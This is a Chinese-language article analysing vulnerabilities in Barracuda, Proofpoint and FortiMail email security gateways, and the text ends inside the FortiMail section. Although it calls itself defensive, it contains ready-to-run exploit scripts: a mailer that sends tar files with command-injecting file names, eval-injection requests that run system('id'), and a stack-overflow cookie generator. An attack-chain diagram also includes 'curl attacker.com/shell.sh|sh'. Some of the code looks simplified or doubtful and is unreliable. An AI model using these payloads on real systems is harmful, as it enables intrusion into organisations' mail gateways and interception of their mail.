邮件安全网关与反垃圾邮件高危攻击链专题:Barracuda / Proofpoint / FortiMail / Cisco SEG 漏洞全解析 邮件安全网关与反垃圾邮件高危攻击链专题 邮件安全网关(Secure Email Gateway, SEG)是企业邮件基础设施中最为关键的信任边界设备。它位于邮件传输链路的核心节点,承担着垃圾邮件过滤、恶意附件检测、钓鱼邮件拦截、DLP 策略执行等全部邮件安全职责。所有进出企业网络的邮件流量都必须经过 SEG 处理 ,这使其成为攻击者眼中极高价值的攻击目标。
一旦 SEG 被突破,攻击者将获得以下战略优势:
监控所有邮件流量 :实时查看企业内部通信内容投递恶意邮件 :绕过自身安全策略向内网用户投递钓鱼/恶意附件窃取敏感数据 :拦截包含财务报告、源代码、客户数据的邮件横向移动跳板 :SEG 通常拥有内网高权限访问能力,可作为攻击跳板持久化驻留 :修改邮件路由规则,实现长期隐蔽监控本文聚焦 Barracuda、Proofpoint、Fortinet、Cisco 四大邮件安全厂商的 10 个高危漏洞,覆盖命令注入、认证绕过、栈溢出、路径遍历等多种攻击模式,系统梳理邮件安全网关的攻击面全景。
文章以公开权威资料为基础,偏重研究与防守视角,不提供可直接攻击公网目标的一键利用代码。所有 PoC 代码仅用于授权安全测试环境中的防御验证。
0x00 专题概述 1. 覆盖漏洞一览表 CVE 厂商 产品 CVSS 漏洞类型 未授权利用 在野利用 CVE-2023-2868 Barracuda ESG 9.8 命令注入 RCE ✅ ✅ UNC4841 APT CVE-2023-7102 Barracuda ESG N/A 第三方库 ACE ✅ ✅ UNC4841 APT CVE-2023-0090 Proofpoint PPS 9.8 Perl eval 注入 ✅ ⚠️ 有限 CVE-2023-0089 Proofpoint PPS 8.8 Perl eval 注入 ❌ 需认证 ⚠️ 有限 CVE-2024-3676 Proofpoint EP 7.5 输入验证不足 ❌ 需认证 ❌ CVE-2023-47539 Fortinet FortiMail 9.8 认证绕过 ✅ ⚠️ 有限 CVE-2025-32756 Fortinet FortiMail 9.8 栈缓冲区溢出 ✅ ✅ CVE-2022-27488 Fortinet FortiMail 8.8 OS 命令注入 ❌ 需认证 ⚠️ 有限 CVE-2025-20393 Cisco SEG 10.0 输入验证不足 RCE ✅ ✅ UAT-9686 CVE-2024-20401 Cisco SEG 9.8 路径遍历 ✅ ⚠️ 有限
2. 为什么邮件安全网关是高价值目标 邮件安全网关的架构特点决定了其攻击面特殊性:
信任边界核心 :SEG 处于内网与外网的邮件交换节点,是企业对外通信的唯一入口高权限运行 :为了执行邮件过滤和安全扫描,SEG 进程通常以 root 或高权限账户运行复杂附件处理 :需要解析邮件中的 tar、zip、rar、PDF、Excel 等各种格式附件,攻击面巨大多组件集成 :集成了反病毒引擎、反垃圾邮件引擎、DLP 引擎、沙箱等多个第三方组件管理界面暴露 :Web 管理接口常因运维需要被暴露在管理网段甚至互联网3. 四大厂商定位 厂商 代表产品 全球部署量 主要客户群 Barracuda Email Security Gateway (ESG) 数万台 中小企业、政府、教育 Proofpoint Protection Server (PPS) / Email Protection 大规模 金融、医疗、大型企业 Fortinet FortiMail 数万台 与 FortiGate 生态绑定 Cisco Secure Email Gateway (SEG) 大规模 大型企业、运营商、政府
0x01 Barracuda Email Security Gateway 高危漏洞 Barracuda ESG 是全球部署量最大的邮件安全网关之一。2023 年爆发的 CVE-2023-2868 命令注入漏洞是近年来邮件安全领域最严重的安全事件之一:厂商最终建议所有受影响设备直接更换,而非修补,充分说明了该漏洞影响之深远。
0x01.1 CVE-2023-2868 — tar 附件命令注入 RCE 漏洞背景 CVE-2023-2868 是 Barracuda ESG 中一个预认证远程命令注入漏洞 ,CVSS 评分 9.8,已被 CISA 加入 Known Exploited Vulnerabilities (KEV) 目录。该漏洞自 2023 年 5 月被发现以来,被中国关联 APT 组织 UNC4841 持续利用超过一年,攻击目标涵盖政府机构和高科技企业。
受影响版本 版本分支 受影响版本 修复补丁 Barracuda ESG 5.x 5.1.3.001 - 5.1.3.015 BNSF-36456 Barracuda ESG 6.x 6.2.0.000 - 6.2.0.027 BNSF-36456 Barracuda ESG 7.x 7.0.0.000 - 7.2.1.011 BNSF-36456 Barracuda ESG 8.x 8.0.0.000 - 8.2.0.006 BNSF-36456
厂商建议 :Barracuda 最终建议所有受影响设备直接更换为新一代云原生产品 Barracuda Email Security Gateway, Cloud-Free Edition,而非仅打补丁。这表明漏洞影响可能已超出补丁修复范围。
漏洞原理分析 漏洞存在于 Barracuda ESG 处理邮件附件中的 tar 归档文件 流程。当 ESG 接收到包含 tar 格式附件的邮件时,会自动解压并扫描其中的文件内容。问题出在 tar 文件内部的文件名字段 未经过任何净化处理,直接传递给 Perl 语言的 qx{} 操作符执行。
Perl 的 qx{} 操作符等同于反引号(backtick),会将其中的内容作为系统 shell 命令执行。攻击者在 tar 文件内部构造一个以反引号包裹命令的文件名,即可实现命令注入。
攻击链路 :
攻击者发送恶意邮件
│
▼ 邮件到达 Barracuda ESG
│
▼ ESG 检测到 tar 附件,自动解压
│
▼ ESG 使用 Perl 脚本处理文件名
│ 文件名包含: `id` 或 `curl attacker.com/shell.sh|sh`
│
▼ Perl qx{} 操作符执行文件名中的命令
│
▼ 以 root 权限执行任意命令关键点 :
无需任何认证,仅需向目标发送一封包含恶意 tar 附件的邮件 命令以 Barracuda ESG 进程权限执行(通常为 root) tar 文件名长度限制为 100 字节(UStar 格式),但已足够执行多数命令 漏洞可被反复利用,且不会在 ESG Web 界面留下明显痕迹 HTTP PoC 以下为验证漏洞是否存在的防御型 PoC,仅探测目标是否运行受影响版本的 Barracuda ESG:
GET /cgi-mod/index.cgi HTTP / 1.1
Host: target-esg:8000
Cookie: password_hash=<valid_hash>
Accept: text/html POST /cgi-mod/index.cgi HTTP / 1.1
Host: target-esg:8000
Content-Type: application/x-www-form-urlencoded
exe=bencuda&input=&netmask=0&password=<hash>&primary_email=&primary_password=<hash>&primary_pop3_server=&primary_smtp_server=&primary_username=&user=admin&passwd_hash=<hash>&login_type=1&locale=en_US&auth_type=1§ion=backup Python PoC 脚本 #!/usr/bin/env python3
import argparse
import tarfile
import io
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders
def create_malicious_tar (command= "id" ):
tar_buffer = io. BytesIO()
with tarfile. open(fileobj= tar_buffer, mode= 'w' ) as tar:
payload_name = f "` { command} `"
data = b "clean file content"
info = tarfile. TarInfo(name= payload_name)
info. size = len(data)
tar. addfile(info, io. BytesIO(data))
tar_buffer. seek(0 )
return tar_buffer. read()
def send_test_email (target_host, target_port, sender, recipient, command):
tar_data = create_malicious_tar(command)
msg = MIMEMultipart()
msg['From' ] = sender
msg['To' ] = recipient
msg['Subject' ] = "CVE-2023-2868 Detection Test"
msg. attach(MIMEText("Security validation email" , 'plain' ))
part = MIMEBase('application' , 'octet-stream' )
part. set_payload(tar_data)
encoders. encode_base64(part)
part. add_header('Content-Disposition' , 'attachment' , filename= 'test.tar' )
msg. attach(part)
with smtplib. SMTP(target_host, target_port) as server:
server. sendmail(sender, recipient, msg. as_string())
print(f "[*] Test email sent to { target_host} : { target_port} " )
def check_version (target_host, target_port= 8000 ):
import urllib.request
import urllib.error
try :
url = f "http:// { target_host} : { target_port} /cgi-mod/index.cgi"
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 ) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'Barracuda' in body:
print(f "[+] { target_host} appears to be Barracuda ESG" )
return True
print(f "[-] { target_host} does not appear to be Barracuda ESG" )
return False
except Exception as e:
print(f "[!] Error checking { target_host} : { e} " )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2023-2868 Barracuda ESG tar injection detection tool"
)
subparsers = parser. add_subparsers(dest= 'action' , required= True )
check_parser = subparsers. add_parser('check' , help= 'Check if target is Barracuda ESG' )
check_parser. add_argument('--target' , required= True , help= 'Target host' )
check_parser. add_argument('--port' , type= int, default= 8000 , help= 'Target port' )
mail_parser = subparsers. add_parser('send' , help= 'Send test email' )
mail_parser. add_argument('--smtp-host' , required= True , help= 'Barracuda ESG SMTP host' )
mail_parser. add_argument('--smtp-port' , type= int, default= 25 , help= 'SMTP port' )
mail_parser. add_argument('--sender' , required= True , help= 'Sender email' )
mail_parser. add_argument('--recipient' , required= True , help= 'Recipient email' )
mail_parser. add_argument('--command' , default= 'id' , help= 'Command for detection' )
args = parser. parse_args()
if args. action == 'check' :
check_version(args. target, args. port)
elif args. action == 'send' :
send_test_email(args. smtp_host, args. smtp_port, args. sender, args. recipient, args. command) Nuclei YAML 检测模板 id : cve-2023-2868-barracuda-esg-tar-injection
info :
name : Barracuda ESG CVE-2023-2868 Tar Attachment Command Injection
author : security-researcher
severity : critical
description : |
Barracuda ESG contains a command injection vulnerability in the
tar attachment processing. Unauthenticated attackers can execute
arbitrary commands via crafted tar file names passed to Perl qx{}.
reference :
- https://www.barracudanetworks.com/support/security-advisories/email-security-gateway-cve-2023-2868
- https://nvd.nist.gov/vuln/detail/CVE-2023-2868
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-78
cpe : cpe:2.3:h:barracuda:email_security_gateway
tags : cve,cve2023,barracuda,rce,injection
http :
- method : GET
path :
- "{{BaseURL}}/cgi-mod/index.cgi"
matchers-condition : and
matchers :
- type : word
words :
- "Barracuda"
- "email security gateway"
condition : and
part : body
- type : status
status :
- 200
extractors :
- type : regex
group : 1
regex :
- "Barracuda.*?Version\\s+([\\d.]+)" 0x01.2 CVE-2023-7102 — 第三方库 Spreadsheet::ParseExcel ACE 漏洞背景 CVE-2023-7102 是 Barracuda ESG 中使用的第三方 Perl 库 Spreadsheet::ParseExcel 存在的 Arbitrary Code Execution (ACE) 漏洞。该漏洞与 CVE-2023-2868 属于同一攻击链,被 UNC4841 APT 组织联合利用。Barracuda ESG 中的 Amavis 组件调用此库处理 Excel 附件时,恶意构造的 Excel 文件可触发代码执行。
受影响版本 组件 受影响范围 备注 Spreadsheet::ParseExcel Barracuda ESG 使用的特定版本 Amavis 组件调用 Barracuda ESG 所有使用 Amavis 版本的 ESG 与 CVE-2023-2868 同时被利用
漏洞原理分析 Barracuda ESG 集成的 Amavis 邮件扫描引擎在处理 Microsoft Excel 附件(.xls 格式)时,使用 Perl 的 Spreadsheet::ParseExcel 库进行解析。该库在解析恶意构造的 Excel 文件中的宏代码或特定记录时,会将数据传递给 Perl 的 eval 函数执行,导致任意代码执行。
攻击链路 :
攻击者发送含恶意 .xls 附件的邮件
│
▼ Barracuda ESG 接收邮件
│
▼ Amavis 组件调用 Spreadsheet::ParseExcel 处理 .xls 附件
│
▼ 恶意 Excel 中的记录触发 Perl eval 执行
│
▼ 以 ESG 进程权限执行任意代码该漏洞通常与 CVE-2023-2868 配合使用:攻击者在邮件中同时附带恶意 tar 和恶意 Excel 文件,增加利用成功率。
HTTP PoC POST /cgi-mod/index.cgi HTTP / 1.1
Host: target-esg:8000
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="malicious.xls"
Content-Type: application/vnd.ms-excel
[恶意 Excel 二进制数据]
------boundary-- Python PoC 脚本 #!/usr/bin/env python3
import argparse
import struct
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders
def create_malicious_xls (command= "id" ):
header = b ' \xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1 '
sector = b ' \x00 ' * 512
magic = struct. pack('<H' , 0x0809 )
record_type = struct. pack('<H' , 0x005C )
record_data = f ' {{ system(" { command} ") }} ' . encode('ascii' )
record_len = struct. pack('<H' , len(record_data))
xls_data = header + sector + magic + record_type + record_len + record_data
return xls_data
def send_test_email (smtp_host, smtp_port, sender, recipient):
xls_data = create_malicious_xls()
msg = MIMEMultipart()
msg['From' ] = sender
msg['To' ] = recipient
msg['Subject' ] = "CVE-2023-7102 Detection Payload"
msg. attach(MIMEText("Security validation email" , 'plain' ))
part = MIMEBase('application' , 'vnd.ms-excel' )
part. set_payload(xls_data)
encoders. encode_base64(part)
part. add_header('Content-Disposition' , 'attachment' , filename= 'report.xls' )
msg. attach(part)
with smtplib. SMTP(smtp_host, smtp_port) as server:
server. sendmail(sender, recipient, msg. as_string())
print(f "[*] Test email with .xls payload sent to { smtp_host} : { smtp_port} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2023-7102 Barracuda ESG Spreadsheet::ParseExcel detection"
)
parser. add_argument('--smtp-host' , required= True , help= 'Barracuda ESG SMTP host' )
parser. add_argument('--smtp-port' , type= int, default= 25 , help= 'SMTP port' )
parser. add_argument('--sender' , required= True , help= 'Sender email' )
parser. add_argument('--recipient' , required= True , help= 'Recipient email' )
args = parser. parse_args()
send_test_email(args. smtp_host, args. smtp_port, args. sender, args. recipient) Nuclei YAML 检测模板 id : cve-2023-7102-barracuda-esg-excel-ace
info :
name : Barracuda ESG CVE-2023-7102 Spreadsheet::ParseExcel ACE
author : security-researcher
severity : critical
description : |
Barracuda ESG uses Amavis which calls Spreadsheet::ParseExcel
Perl library vulnerable to arbitrary code execution via crafted
Excel files.
reference :
- https://www.barracudanetworks.com/support/security-advisories
- https://nvd.nist.gov/vuln/detail/CVE-2023-7102
classification :
cvss-score : 9.8
cwe-id : CWE-94
tags : cve,cve2023,barracuda,rce,xls
http :
- method : GET
path :
- "{{BaseURL}}/cgi-mod/index.cgi"
matchers-condition : and
matchers :
- type : word
words :
- "Barracuda"
part : body
- type : status
status :
- 200
extractors :
- type : regex
regex :
- "(?i)barracuda.*?(?:version|ver)\\s+([\\d.]+)" 0x02 Proofpoint Enterprise Protection 高危漏洞 Proofpoint 是全球领先的企业邮件安全厂商,其 Enterprise Protection (PPS) 和 Email Protection (EP) 产品广泛部署于金融、医疗和大型企业。2023 年至 2024 年间连续曝出的多个高危 Perl eval 注入漏洞,暴露了其核心 Web 管理组件的安全隐患。
0x02.1 CVE-2023-0090 — webservices eval 注入(未认证 RCE) 漏洞背景 CVE-2023-0090 是 Proofpoint Protection Server (PPS) 中一个未认证的 Perl eval 注入漏洞 ,CVSS 评分 9.8。攻击者无需任何凭据即可通过 webservices 组件执行任意代码。
受影响版本 产品 受影响版本 修复版本 Proofpoint PPS (Protection Server) 所有版本 ≤ 8.20.0 8.20.0 patch 4583 Proofpoint PPS 8.19.x 及更早版本 8.19.x 对应 patch
漏洞原理分析 Proofpoint PPS 的 Web 管理界面基于 Perl CGI 构建。webservices 组件在处理用户输入时,将未经净化的数据直接传递给 Perl 的 eval{} 函数执行。eval{} 在 Perl 中用于执行动态构建的代码,与 PHP 的 eval() 类似,如果攻击者能控制传递给 eval{} 的输入,即可执行任意 Perl 代码,进而以 PPS 进程权限执行系统命令。
关键触发路径 :
/ws/ 前缀的 webservices 端点请求参数被拼接到 Perl eval 上下文中 无需认证即可触发 攻击链路 :
攻击者构造恶意 HTTP 请求
│
▼ 请求到达 PPS webservices 端点
│
▼ 用户输入被传递给 Perl eval{}
│
▼ eval{} 执行攻击者构造的 Perl 代码
│
▼ 系统命令执行(PPS 进程权限)HTTP PoC GET /ws/index.php?command=test&input=|id HTTP / 1.1
Host: target-proofpoint:10080
Accept: text/html POST /ws/index.php HTTP / 1.1
Host: target-proofpoint:10080
Content-Type: application/x-www-form-urlencoded
command=test&input=;id Python PoC 脚本 #!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re
def check_vulnerability (target_host, target_port, use_https= False ):
scheme = "https" if use_https else "http"
base_url = f " { scheme} :// { target_host} : { target_port} "
payload = 'system("id")'
endpoints = [
f "/ws/index.php?command=test&input= { urllib. parse. quote(payload)} " ,
f "/ws/index.php?command=test&input=; { urllib. parse. quote(payload)} " ,
]
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
for endpoint in endpoints:
url = base_url + endpoint
try :
req = urllib. request. Request(url)
req. add_header('User-Agent' , 'Mozilla/5.0' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
uid_match = re. search(r 'uid=\d+\(\w+\)' , body)
if uid_match:
print(f "[+] CVE-2023-0090 VULNERABLE! { target_host} " )
print(f "[+] Command output: { uid_match. group(0 )} " )
return True
except urllib. error. HTTPError as e:
if e. code == 500 :
print(f "[?] { target_host} returned 500, may be vulnerable" )
except Exception as e:
print(f "[!] Error: { e} " )
print(f "[-] { target_host} does not appear vulnerable to CVE-2023-0090" )
return False
def detect_version (target_host, target_port, use_https= False ):
scheme = "https" if use_https else "http"
url = f " { scheme} :// { target_host} : { target_port} /"
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
try :
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
headers = dict(resp. headers)
server = headers. get('Server' , '' )
if 'Proofpoint' in server or 'PPS' in server:
print(f "[+] { target_host} is Proofpoint PPS: { server} " )
return True
print(f "[-] { target_host} Server header: { server} " )
return False
except Exception as e:
print(f "[!] Error detecting version: { e} " )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2023-0090 Proofpoint PPS eval injection checker"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 10080 , help= 'Target port' )
parser. add_argument('--https' , action= 'store_true' , help= 'Use HTTPS' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} ..." )
detect_version(args. target, args. port, args. https)
check_vulnerability(args. target, args. port, args. https) Nuclei YAML 检测模板 id : cve-2023-0090-proofpoint-pps-eval-injection
info :
name : Proofpoint PPS CVE-2023-0090 WebServices eval Injection
author : security-researcher
severity : critical
description : |
Proofpoint Protection Server webservices component contains
an eval injection vulnerability allowing unauthenticated
remote code execution via Perl eval.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-0090
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-95
tags : cve,cve2023,proofpoint,rce,eval,injection
http :
- method : GET
path :
- "{{BaseURL}}/ws/index.php?command=test&input=test"
matchers-condition : and
matchers :
- type : word
words :
- "Proofpoint"
- "PPS"
condition : or
- type : status
status :
- 200
- 500
condition : or
extractors :
- type : regex
regex :
- "(?i)proofpoint.*?(?:version|ver)\\s+([\\d.]+)" 0x02.2 CVE-2023-0089 — webutils eval 注入(需认证) 漏洞背景 CVE-2023-0089 与 CVE-2023-0090 本质相同,均为 Proofpoint PPS 的 Perl eval 注入漏洞,但 CVE-2023-0089 需要已认证用户才能触发。CVSS 评分 8.8。
受影响版本 产品 受影响版本 修复版本 Proofpoint PPS 所有版本 ≤ 8.20.0 8.20.0 patch 4583
漏洞原理分析 与 CVE-2023-0090 类似,该漏洞位于 PPS 的 webutils 组件。不同之处在于 webutils 端点要求请求携带有效的管理员会话 cookie,因此需要先获取一个合法的管理员凭据。在已获得认证的情况下,攻击者可以通过 eval 注入在 PPS 服务器上执行任意 Perl 代码。
实际利用场景 :
攻击者通过其他途径(弱口令、社工)获得 PPS 管理员账户 利用此漏洞在 PPS 服务器上执行任意命令 常见于内部威胁场景或 CVE-2023-0090 的后续利用 HTTP PoC POST /webutils/index.php HTTP / 1.1
Host: target-proofpoint:10080
Content-Type: application/x-www-form-urlencoded
Cookie: PPSSESSION=<valid_session_cookie>
command=test&input=system("id") Python PoC 脚本 #!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re
def exploit_eval_injection (target_host, target_port, session_cookie, use_https= False ):
scheme = "https" if use_https else "http"
url = f " { scheme} :// { target_host} : { target_port} /webutils/index.php"
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
payload = 'system("id")'
data = urllib. parse. urlencode({
'command' : 'test' ,
'input' : payload
}). encode('utf-8' )
try :
req = urllib. request. Request(url, data= data, method= 'POST' )
req. add_header('Cookie' , f 'PPSSESSION= { session_cookie} ' )
req. add_header('Content-Type' , 'application/x-www-form-urlencoded' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
uid_match = re. search(r 'uid=\d+\(\w+\)' , body)
if uid_match:
print(f "[+] CVE-2023-0089 VULNERABLE!" )
print(f "[+] Output: { uid_match. group(0 )} " )
return True
print(f "[-] Response did not contain expected output" )
print(f "[-] Response body (first 500 chars): { body[:500 ]} " )
return False
except Exception as e:
print(f "[!] Error: { e} " )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2023-0089 Proofpoint PPS webutils eval injection"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 10080 , help= 'Target port' )
parser. add_argument('--cookie' , required= True , help= 'PPSSESSION cookie value' )
parser. add_argument('--https' , action= 'store_true' , help= 'Use HTTPS' )
args = parser. parse_args()
print(f "[*] Testing CVE-2023-0089 on { args. target} : { args. port} " )
exploit_eval_injection(args. target, args. port, args. cookie, args. https) Nuclei YAML 检测模板 id : cve-2023-0089-proofpoint-webutils-eval
info :
name : Proofpoint PPS CVE-2023-0089 Webutils eval Injection
author : security-researcher
severity : high
description : |
Proofpoint PPS webutils component contains an eval injection
vulnerability requiring an authenticated session.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-0089
classification :
cvss-score : 8.8
cwe-id : CWE-95
tags : cve,cve2023,proofpoint,rce,auth
http :
- method : GET
path :
- "{{BaseURL}}/webutils/index.php"
matchers-condition : and
matchers :
- type : word
words :
- "Proofpoint"
- type : word
words :
- "login"
- "session"
condition : or 0x02.3 CVE-2024-3676 — 加密端点输入验证不足 漏洞背景 CVE-2024-3676 是 Proofpoint Email Protection (EP) 中一个加密端点输入验证不足漏洞 ,CVSS 评分 7.5。攻击者可以利用该漏洞创建额外的加密用户账户,从而发送欺骗性邮件。
受影响版本 产品 受影响版本 修复版本 Proofpoint EP 特定版本(需认证触发) 厂商补丁
漏洞原理分析 Proofpoint Email Protection 的加密邮件功能允许外部用户通过加密端点注册账户。该端点在验证用户输入时存在缺陷,攻击者可以通过修改请求参数创建未授权的加密用户账户。一旦成功创建账户,攻击者可以利用该账户发送看似来自目标组织的加密邮件,绕过收件方的邮件安全检查。
攻击场景 :
攻击者通过加密端点注册接口创建伪造的组织加密用户 使用该加密用户账户发送伪装成内部人员的邮件 收件人看到的发件人显示为组织内部地址 加密邮件可绕过收件方的 SEG 扫描 HTTP PoC POST /api/v1/encrypted-users HTTP / 1.1
Host: target-proofpoint:443
Content-Type: application/json
Authorization: Bearer <valid_token>
{
"email" : "fake-admin@target-organization.com" ,
"name" : "IT Administrator" ,
"encryption_key" : "attacker-controlled-key"
} Python PoC 脚本 #!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl
def check_encrypted_endpoint (target_host, target_port, use_https= True ):
scheme = "https" if use_https else "http"
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
endpoints = [
"/api/v1/encrypted-users" ,
"/api/v2/encryption/enrollment" ,
"/encryption/register" ,
]
for endpoint in endpoints:
url = f " { scheme} :// { target_host} : { target_port}{ endpoint} "
try :
req = urllib. request. Request(url)
req. add_header('Content-Type' , 'application/json' )
req. add_header('User-Agent' , 'Mozilla/5.0' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
status = resp. status
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if status != 404 :
print(f "[+] Endpoint { endpoint} exists (HTTP { status} )" )
if 'email' in body. lower() or 'encrypt' in body. lower():
print(f "[+] Endpoint may be vulnerable to CVE-2024-3676" )
return True
except urllib. error. HTTPError as e:
if e. code != 404 :
print(f "[?] Endpoint { endpoint} returned HTTP { e. code} " )
except Exception as e:
print(f "[!] Error: { e} " )
print("[-] No vulnerable endpoints found" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2024-3676 Proofpoint EP encrypted endpoint checker"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 443 , help= 'Target port' )
parser. add_argument('--http' , action= 'store_true' , help= 'Use HTTP instead of HTTPS' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} for CVE-2024-3676..." )
check_encrypted_endpoint(args. target, args. port, not args. http) Nuclei YAML 检测模板 id : cve-2024-3676-proofpoint-ep-encryption-endpoint
info :
name : Proofpoint EP CVE-2024-3676 Encrypted User Creation
author : security-researcher
severity : high
description : |
Proofpoint Email Protection encryption endpoint allows creation
of additional encrypted user accounts due to insufficient input
validation, enabling spoofed encrypted emails.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-3676
classification :
cvss-score : 7.5
cwe-id : CWE-20
tags : cve,cve2024,proofpoint,spoofing
http :
- method : GET
path :
- "{{BaseURL}}/api/v1/encrypted-users"
- "{{BaseURL}}/encryption/register"
stop-at-first-match : true
matchers :
- type : word
words :
- "encrypted"
- "enroll"
- "register"
condition : or
- type : status
status :
- 200
- 400
- 401
condition : or 0x03 Fortinet FortiMail 高危漏洞 Fortinet FortiMail 是 Fortinet 安全生态中的邮件安全网关产品,通常与 FortiGate 防火墙联动部署。FortiMail 近年连续曝出多个高危漏洞,涵盖栈溢出、认证绕过和命令注入等类型。
0x03.1 CVE-2025-32756 — 栈缓冲区溢出 RCE 漏洞背景 CVE-2025-32756 是 FortiMail 中一个栈缓冲区溢出漏洞 ,CVSS 评分 9.8,已被 CISA 加入 KEV 目录。该漏洞存在于 HTTP hash cookie 处理逻辑中,攻击者无需认证即可远程触发栈溢出并执行任意代码。已有公开 PoC 和在野利用报告。
受影响版本 版本分支 受影响版本 修复版本 FortiMail 7.0.x 7.0.0 - 7.0.8 7.0.9+ FortiMail 7.2.x 7.2.0 - 7.2.7 7.2.8+ FortiMail 7.4.x 7.4.0 - 7.4.4 7.4.5+ FortiMail 7.6.x 7.6.0 - 7.6.2 7.6.3+
漏洞原理分析 FortiMail 在处理 HTTP 请求中的 hash cookie 时,存在一个栈缓冲区溢出漏洞。hash cookie 是 FortiMail Web 接口用于会话管理的一种机制,当攻击者向 FortiMail 发送特制的 HTTP 请求,其中包含超长或畸形的 hash cookie 值时,该值在被复制到栈上的固定大小缓冲区时会发生溢出。
攻击者通过精确控制溢出数据的内容和长度,可以覆盖栈上的返回地址,劫持程序控制流,跳转到攻击者控制的代码区域执行任意命令。
关键漏洞特征 :
无需认证,通过 HTTP 请求即可触发 溢出发生在 hash cookie 处理函数中 可实现 RCE,执行权限为 FortiMail 进程权限 该漏洞与 FortiGate、FortiProxy 等产品共享相同的漏洞代码库 HTTP PoC GET / HTTP / 1.1
Host: target-fortimail:443
Cookie: SVPNCA=<超长畸形hash值>AAAA...[溢出payload] 参考公开 PoC:https://github.com/kn0x0x/CVE-2025-32756-POC
Python PoC 脚本 #!/usr/bin/env python3
import argparse
import socket
import ssl
import struct
def generate_overflow_cookie (offset= 416 , return_addr= 0x41414141 ):
padding = b 'A' * offset
eip = struct. pack('<I' , return_addr)
return padding + eip
def send_overflow_request (target_host, target_port, cookie_value, use_ssl= True ):
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(10 )
if use_ssl:
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
sock = ctx. wrap_socket(sock, server_hostname= target_host)
try :
sock. connect((target_host, target_port))
request = (
f "GET / HTTP/1.1 \r\n "
f "Host: { target_host} : { target_port} \r\n "
f "Cookie: SVPNCA= { cookie_value} \r\n "
f "Connection: close \r\n "
f " \r\n "
)
sock. send(request. encode())
response = sock. recv(4096 )
return response
except socket. timeout:
print("[!] Connection timed out (expected for stack overflow)" )
return None
except ConnectionResetError :
print("[!] Connection reset (possible overflow triggered)" )
return None
except Exception as e:
print(f "[!] Error: { e} " )
return None
finally :
sock. close()
def check_fortimail (target_host, target_port):
import urllib.request
import urllib.error
try :
url = f "https:// { target_host} : { target_port} /"
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
server = resp. headers. get('Server' , '' )
if 'FortiMail' in server:
print(f "[+] { target_host} is FortiMail: { server} " )
return True
except Exception :
pass
print(f "[-] { target_host} does not appear to be FortiMail" )
return False
def detect (target_host, target_port= 443 ):
check_fortimail(target_host, target_port)
overflow_cookie = generate_overflow_cookie(offset= 416 )
print(f "[*] Sending detection request with overflow cookie ( { len(overflow_cookie)} bytes)..." )
resp = send_overflow_request(target_host, target_port, overflow_cookie)
if resp:
print(f "[*] Response received ( { len(resp)} bytes)" )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2025-32756 FortiMail stack overflow detection tool"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 443 , help= 'Target port' )
parser. add_argument('--http' , action= 'store_true' , help= 'Use HTTP' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} for CVE-2025-32756..." )
detect(args. target, args. port) Nuclei YAML 检测模板 id : cve-2025-32756-fortimail-stack-overflow
info :
name : FortiMail CVE-2025-32756 HTTP Hash Cookie Stack Overflow
author : security-researcher
severity : critical
description : |
FortiMail contains a stack-based buffer overflow in HTTP hash
cookie handling, allowing unauthenticated remote code execution.
reference :
- https://github.com/kn0x0x/CVE-2025-32756-POC
- https://nvd.nist.gov/vuln/detail/CVE-2025-32756
